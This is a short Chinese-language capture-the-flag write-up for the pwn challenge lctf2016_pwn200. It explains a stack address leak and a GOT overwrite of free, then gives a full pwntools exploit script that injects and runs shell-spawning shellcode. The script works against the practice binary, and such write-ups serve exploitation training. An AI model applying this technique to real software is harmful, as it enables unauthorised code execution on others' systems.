[BUUCTF-pwn]——lctf2016_pwn200
还是先chekcsec 一下, 没有开启NX代表我们可以手写shellcode并且执行
在IDA, 中大家自己看看就好,我这里将两个漏洞的位置告诉大家就好
寻找偏移
思路
利用漏洞1, 获得main_ebp地址, 寻找到我们写入的shellcode距离的位置
利用漏洞2 覆盖dest变量值为free的got表的地址, 这样通过strcpy(dest, &buf);free的got表指向的就是我们的shellcode了
exploit
from pwn import *
context.arch = 'amd64' #保证shellcode 正确
context.log_level = 'debug'
p = process('./pwn200')
#p = remote('node3.buuoj.cn',26607)
elf = ELF('./pwn200')
free_got = elf.got["free"]
#gdb.attach(p)
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))
ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("ebp --->> "+hex(ebp))
offset = -0x50
shellcode_addr = ebp + offset
log.success("shellcode_addr --->> " + hex(shellcode_addr))
p.sendline('0')
p.recvuntil('\n')
payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) # 绕过检查
p.recvuntil('choice :')
p.sendline('2')
p.interactive()